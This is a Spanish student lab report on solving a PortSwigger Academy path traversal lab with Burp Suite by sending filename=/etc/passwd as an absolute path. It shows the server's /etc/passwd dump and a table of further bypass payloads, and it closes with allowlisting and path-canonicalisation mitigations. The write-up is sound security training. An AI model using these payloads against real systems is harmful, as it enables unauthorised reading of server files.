

File Path Traversal

Traversal Sequences Blocked with Absolute Path Bypass — Nivel Apprentice

Alumno	Manuel Eduardo Hernández Gaytán
Matrícula	181850
Materia	CNO IV – Seguridad Informática
Laboratorio	LAB 04 · File Path Traversal – Absolute Path Bypass
Nivel	Apprentice
Plataforma	PortSwigger Web Security Academy
Docente	Mtro. Servando López Contreras
Fecha	19 de septiembre de 2026

Índice

1. Marco Teórico y Fundamentación Técnica
2. Identificación del Laboratorio
3. Objetivo del Laboratorio
4. Explicación Técnica de la Vulnerabilidad
5. Procedimiento Paso a Paso
6. Capturas de Pantalla Obligatorias
7. Explicación Técnica del Payload
8. Mitigación Recomendada
9. Conclusión

1. Marco Teórico y Fundamentación Técnica

El Path Traversal (también denominado Directory Traversal) es una vulnerabilidad de seguridad web que permite a un atacante acceder a archivos arbitrarios del servidor manipulando los parámetros que construyen rutas del sistema de archivos. En su variante más básica se emplean secuencias relativas (../), sin embargo, muchas aplicaciones implementan filtros parciales que bloquean explícitamente dichas secuencias. El laboratorio analizado pertenece a una familia más avanzada: el bypass mediante ruta absoluta.

Cuando la aplicación valida o elimina secuencias ../ pero no verifica que la ruta resultante permanezca dentro del directorio base permitido, un atacante puede suministrar directamente una ruta absoluta del sistema operativo (por ejemplo /etc/passwd) en lugar de una secuencia de traversal relativa. El servidor concatena o reemplaza el valor del parámetro y sirve el archivo solicitado sin restricciones adicionales.

Estándar	Identificador	Descripción
CWE	CWE-22	Improper Limitation of a Pathname to a Restricted Directory
OWASP Top Ten	A01:2021	Broken Access Control — control de acceso incorrecto a recursos del servidor
CVSS v3.x	Base Score: 7.5 (High)	Acceso no autorizado a archivos del sistema sin autenticación previa
CVSS Vector	AV:N/AC:L/PR:N/UI:N	Explotable remotamente, sin privilegios, sin interacción del usuario

La vulnerabilidad se origina en la ausencia de un control de acceso robusto sobre los parámetros de ruta. La aplicación implementa una validación por lista negra (blacklisting) que bloquea la secuencia ../, pero este enfoque es inherentemente inseguro porque siempre existen vectores no contemplados. La validación por lista blanca (allowlisting), que define explícitamente lo que está permitido, es el único enfoque seguro.

2. Identificación del Laboratorio

Campo	Detalle
Nombre del laboratorio	File Path Traversal — Traversal Sequences Blocked with Absolute Path Bypass
Nivel	Apprentice
Tipo de explotación	Path Traversal / Absolute Path Bypass
Plataforma	PortSwigger Web Security Academy
Posición en la ruta	LAB 04 — Road to Hall of Fame
Herramienta principal	Burp Suite Community Edition v2026.3.2
Protocolo explotado	HTTP/2

Campo	Detalle
Vector de ataque	Parámetro filename del endpoint /image
Técnica diferencial	Ruta absoluta /etc/passwd en lugar de secuencia de traversal relativa

3. Objetivo del Laboratorio

Objetivo general:

Demostrar de forma práctica y documentada la explotación de una variante de Path Traversal en la que las secuencias de traversal relativas (../) son bloqueadas por la aplicación, pero es posible eludir dicha protección suministrando la ruta absoluta del archivo objetivo (/etc/passwd) directamente como valor del parámetro filename, recuperando el contenido del archivo del servidor.

Objetivos específicos

- Identificar la petición HTTP vulnerable que contiene el parámetro filename con nombre de imagen (GET /image?filename=68.jpg).
- Interceptar la petición con el proxy de Burp Suite y analizarla en el módulo Repeater.
- Sustituir el valor del parámetro filename por la ruta absoluta /etc/passwd, sin usar secuencias ../.
- Verificar que la respuesta del servidor contenga el archivo /etc/passwd, confirmando que la protección basada en blacklisting es bypassable.
- Obtener la confirmación 'Lab Solved' de la plataforma PortSwigger.

4. Explicación Técnica de la Vulnerabilidad

La aplicación del laboratorio implementa una tienda en línea que carga imágenes de producto a través del siguiente endpoint:

```
GET /image?filename=68.jpg HTTP/2
Host: <lab-id>.web-security-academy.net
```

La aplicación tiene un filtro que detecta y bloquea la secuencia ../ en el valor del parámetro filename. Sin embargo, el filtro no verifica que el valor del parámetro sea una ruta relativa confinada al directorio de imágenes: acepta rutas absolutas del sistema operativo tal como las recibe, sin ninguna validación adicional.

Cuando el servidor construye la ruta del archivo para leerlo, la operación interna equivale a:

```
# Comportamiento normal:
/var/www/images/68.jpg → sirve la imagen del producto
```

```
# Filtro activo (bloquea ../):  
/var/www/images/../../../../etc/passwd → BLOQUEADO  
  
# Bypass con ruta absoluta (el filtro no lo detecta):  
/etc/passwd → el sistema operativo resuelve la ruta absoluta  
y el servidor sirve el archivo directamente
```

El sistema operativo interpreta `/etc/passwd` como una ruta absoluta sin importar el directorio de trabajo del proceso del servidor. El servidor nunca verifica que la ruta resuelta comience con `/var/www/images/`, simplemente sirve el archivo resultante. Esto es consecuencia de validar por lista negra (rechazar lo malo) en lugar de por lista blanca (aceptar solo lo permitido).

¿Por qué el filtro falla ante una ruta absoluta?

Valor del parámetro	¿Pasa el filtro?	Resultado en el servidor
68.jpg	Sí — valor normal	Sirve la imagen del producto correctamente
../../../../etc/passwd	No — bloqueado	El filtro detecta <code>../</code> y rechaza la petición
/etc/passwd	Sí — no contiene <code>../</code>	El servidor sirve el archivo <code>/etc/passwd</code> completo

5. Procedimiento Paso a Paso

Paso 1: Acceso al laboratorio y configuración de Burp Suite

Se accedió a la plataforma PortSwigger Web Security Academy y se abrió el laboratorio 'File Path Traversal — Traversal Sequences Blocked with Absolute Path Bypass'. Se copió la URL asignada. Se abrió Burp Suite Community Edition con configuración predeterminada y se activó el proxy local en `127.0.0.1:8080`.

Paso 2: Carga de la página y navegación

Desde la pestaña Proxy se abrió el navegador integrado ('Open Browser'). Se pegó la URL del laboratorio y se esperó a que cargara la tienda en línea. El tráfico quedó disponible en el historial de HTTP de Burp Suite.

Paso 3: Identificación de la petición objetivo

Con la página cargada, se activó el modo Intercept ('Intercept is on') y se recargó la página. En el historial HTTP se identificó la petición que contiene el parámetro `filename` con el nombre de una imagen de producto (`GET /image?filename=68.jpg`). Esta petición es el vector de ataque.

Paso 4: Envío al Repeater

La petición con el parámetro filename fue seleccionada en el proxy y enviada al módulo Repeater mediante la opción 'Send to Repeater' (Ctrl+R). El Repeater permite modificar y reenviar la petición de forma controlada sin afectar la navegación del usuario.

Paso 5: Modificación del payload — Absolute Path Bypass

En el módulo Repeater se modificó el valor del parámetro filename. En lugar de usar secuencias ../ (que el filtro bloquea), se sustituyó directamente por la ruta absoluta del archivo objetivo:

```
# Petición original (imagen de producto):
GET /image?filename=68.jpg HTTP/2

# Petición modificada con ruta absoluta (bypass del filtro):
GET /image?filename=/etc/passwd HTTP/2
```

Se presionó el botón 'Send' para enviar la petición modificada al servidor.

Paso 6: Verificación de la respuesta

El panel de respuesta del Repeater mostró código HTTP/2 200 OK y el cuerpo de la respuesta contenía el archivo completo /etc/passwd del servidor, con la lista de usuarios del sistema operativo.

Paso 7: Confirmación — Lab Solved

Se apagó el interceptador, se actualizó la página en el navegador integrado y la plataforma PortSwigger mostró automáticamente el banner de confirmación 'Congratulations, you solved the lab!', validando el éxito del bypass.

6. Capturas de Pantalla Obligatorias

Se presentan las cinco capturas de pantalla que documentan visualmente el proceso completo de explotación, desde la identificación del vector hasta la confirmación de resolución.

Captura 1 — Historial HTTP: petición GET /image?filename=68.jpg identificada

Time	Type	Direction	Method	URL	Status code	Length
15:45:30.20	WS	→ To server		https://0a2f0027040db8f681b3665000350014.web-security-academy.net/academyLabHeader		4
15:45:30.20	WS	← To client		https://0a2f0027040db8f681b3665000350014.web-security-academy.net/academyLabHeader		4
15:45:33.20	HTTP	→ Request	GET	https://0a2f0027040db8f681b3665000350014.web-security-academy.net/image?filename=68.jpg		
15:45:33.20	HTTP	→ Request	GET	https://0a2f0027040db8f681b3665000350014.web-security-academy.net/image?filename=59.jpg		
15:45:33.20	HTTP	→ Request	GET	https://0a2f0027040db8f681b3665000350014.web-security-academy.net/image?filename=37.jpg		
15:45:33.20	HTTP	→ Request	GET	https://0a2f0027040db8f681b3665000350014.web-security-academy.net/image?filename=63.jpg		
15:45:33.20	HTTP	→ Request	GET	https://0a2f0027040db8f681b3665000350014.web-security-academy.net/image?filename=30.jpg		
15:45:33.20	HTTP	→ Request	GET	https://0a2f0027040db8f681b3665000350014.web-security-academy.net/image?filename=43.jpg		
15:45:33.20	HTTP	→ Request	GET	https://0a2f0027040db8f681b3665000350014.web-security-academy.net/image?filename=61.jpg		
15:45:33.20	HTTP	→ Request	GET	https://0a2f0027040db8f681b3665000350014.web-security-academy.net/image?filename=36.jpg		
15:45:33.20	HTTP	→ Request	GET	https://0a2f0027040db8f681b3665000350014.web-security-academy.net/academyLabHeader		

Figura 1. Historial HTTP de Burp Suite mostrando las peticiones GET /image?filename=<número>.jpg que revelan el vector de ataque (petición resaltada: filename=68.jpg).

Captura 2 — Request interceptado en el Repeater (petición original)

```
GET /image?filename=68.jpg HTTP/2
Host: 0a2f0027040db8f681b3665000350014.web-security-academy.net
Cookie: session=7LfmJLDI6rqUE0UTh3z2A09aeWRLh6Jn
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-419,es;q=0.9
Sec-Ch-Ua: "Chromium";v="151", "Not=A?Brand";v="99"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0
Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept:
image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer:
https://0a2f0027040db8f681b3665000350014.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=2, i
```

Figura 2. Petición original GET /image?filename=68.jpg en el módulo Repeater, antes de aplicar el payload de bypass.

Captura 3 — Payload de ruta absoluta en el Repeater (petición modificada)

```
GET /image?filename=/etc/passwd HTTP/2
Host: 0a2f0027040db8f681b3665000350014.web-security-academy.net
Cookie: session=7LfmJLDI6rqUE0UTh3z2A09aeWRLh6Jn
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-419,es;q=0.9
Sec-Ch-Ua: "Chromium";v="151", "Not=A?Brand";v="99"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0
Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept:
image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer:
https://0a2f0027040db8f681b3665000350014.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=2, i
```

Figura 3. Petición modificada: GET /image?filename=/etc/passwd HTTP/2. El parámetro filename contiene la ruta absoluta del archivo objetivo, eludiendo el filtro anti-traversal.

Captura 4 — Respuesta del servidor con el contenido de /etc/passwd

```

HTTP/2 200 OK
Content-Type: image/jpeg
X-Frame-Options: SAMEORIGIN
Content-Length: 2316

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:irc:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
peter:x:12001:12001::/home/peter:/bin/bash
carlos:x:12002:12002::/home/carlos:/bin/bash

```

Figura 4. Respuesta HTTP/2 200 OK con el contenido completo de `/etc/passwd`, incluyendo usuarios del sistema como `root`, `daemon`, `peter` y `carlos`.

Captura 5 — Confirmación 'Lab Solved' de PortSwigger



File path traversal, traversal sequences blocked with absolute path bypass

Back to lab description >>

LAB Solved 

Congratulations, you solved the lab!

Share your skills!   Continue learning >>

[Home](#)

WE LIKE TO SHOP 



Figura 5. Banner de confirmación: 'Congratulations, you solved the lab!' — File path traversal, traversal sequences blocked with absolute path bypass.

7. Explicación Técnica del Payload

```
/etc/passwd
```

El payload no contiene secuencias de traversal, sino una ruta absoluta del sistema de archivos Linux. Su efectividad se explica de la siguiente manera:

Elemento	Función	Por qué lo acepta el servidor
/	Indica ruta absoluta desde la raíz del sistema	El filtro solo bloquea '..', no '/'
etc/	Subdirectorío de configuración del sistema	Ruta estándar de Linux, accesible para www-data
passwd	Archivo de usuarios del sistema operativo	Permisos 644: legible por todos los usuarios

¿Por qué este payload bypassa el filtro?

La aplicación implementa una validación por lista negra que detecta y rechaza la subcadena '../'. Sin embargo, la ruta /etc/passwd no contiene esa secuencia, por lo que pasa el filtro sin modificaciones. El servidor, al recibir el valor /etc/passwd como filename, lo interpreta como una ruta absoluta del sistema de archivos, ignorando el directorio base de las imágenes (/var/www/images/) y sirviendo el archivo directamente.

Este caso ilustra el problema central de la validación por lista negra: siempre es posible encontrar un vector de ataque que no esté en la lista de rechazos. Las variantes adicionales de bypass que existen para esta vulnerabilidad incluyen codificación URL, doble codificación y secuencias de traversal codificadas en distintos formatos.

8. Mitigación Recomendada

El fallo documentado en este laboratorio refuerza un principio fundamental de seguridad: la validación por lista negra (blacklisting) es inherentemente insegura porque siempre existen vectores no previstos. Las siguientes medidas deben implementarse de forma combinada:

8.1 Validación por allowlisting — único enfoque seguro (prioridad crítica)

Definir explícitamente qué valores o patrones son aceptables. Todo lo demás debe ser rechazado:

```
# Python — allowlist estricta:
import re

ALLOWED_PATTERN = re.compile(r'^[a-zA-Z0-9_-]+\.(jpg|jpeg|png|gif|webp)$')

def validate_filename(filename: str) -> str:
    if not ALLOWED_PATTERN.match(filename):
        raise ValueError('Nombre de archivo no permitido')
```

```
return filename
```

8.2 Canonicalización y verificación de la ruta resultante (prioridad crítica)

Independientemente de la validación del parámetro, siempre verificar que la ruta canónica resuelta permanezca dentro del directorio base autorizado. Esto detiene tanto traversal relativo como bypass por ruta absoluta:

```
import os

BASE_DIR = '/var/www/images'

def get_image(filename: str):
    # Construir la ruta canónica (resuelve ../, /, symlinks, etc.)
    safe_path = os.path.realpath(os.path.join(BASE_DIR, filename))

    # Verificar confinamiento al directorio base
    if not safe_path.startswith(BASE_DIR + os.sep):
        raise PermissionError('Acceso denegado: ruta fuera del directorio permitido')

    return open(safe_path, 'rb').read()
```

8.3 Variantes adicionales de bypass

Técnica	Ejemplo de payload	¿Lo bloquea el filtro de este lab?
Ruta absoluta directa	/etc/passwd	No — no contiene ../
Doble codificación URL	..%252F..%252F..%252Fetc%252Fpasswd	No
Traversal codificado en URL	%2e%2e%2fetc%2fpasswd	No
Ruta absoluta con barras redundantes	///etc/passwd	No

8.4 Principio de mínimo privilegio

- Ejecutar el servidor web con un usuario sin privilegios (www-data) que solo tenga acceso de lectura al directorio de archivos estáticos.
- Aplicar restricciones de acceso a nivel del sistema operativo (chroot, contenedores) para limitar los archivos que el proceso del servidor puede leer.

8.5 Diseño seguro del endpoint

- Evitar usar el valor del parámetro como nombre de archivo directamente. Mapear internamente un ID abstracto (numérico o UUID) al archivo real, sin exponer la ruta.

- Utilizar funciones de entrega de archivos estáticos del framework (`send_from_directory`, `StaticFiles`) que incluyen validación de ruta integrada.

9. Conclusión

La realización de este laboratorio permitió comprender la técnica de bypass mediante ruta absoluta en un ataque de Path Traversal. La aplicación implementó un filtro para bloquear las secuencias `../`, sin embargo, al no verificar que la ruta resultante permanezca dentro del directorio base autorizado, la protección resultó completamente ineficaz frente al payload `/etc/passwd`, que es una ruta absoluta sin secuencias de traversal.

El caso ilustra con claridad el problema central de la validación por lista negra: siempre es posible encontrar un vector de ataque que no esté en la lista de rechazos. La contramedida correcta y robusta es la validación por lista blanca (allowlisting) combinada con la canonicalización y verificación de la ruta resultante, lo que detiene tanto secuencias de traversal como cualquier forma de bypass por ruta absoluta.

El impacto demostrado es la lectura no autorizada del archivo `/etc/passwd` con la lista completa de usuarios del sistema operativo del servidor. Esta información puede utilizarse en ataques posteriores de enumeración de usuarios, fuerza bruta de contraseñas y, en casos más complejos, lectura de archivos de configuración con credenciales que permitan profundizar el compromiso del sistema.

Como lección fundamental, el laboratorio refuerza que la seguridad no debe implementarse como una lista de 'lo que ya sabemos que es malo', sino como una definición estricta de 'lo único que está permitido'. Este principio de diseño seguro por defecto (secure by default) es el fundamento de cualquier control de acceso robusto en el desarrollo de software.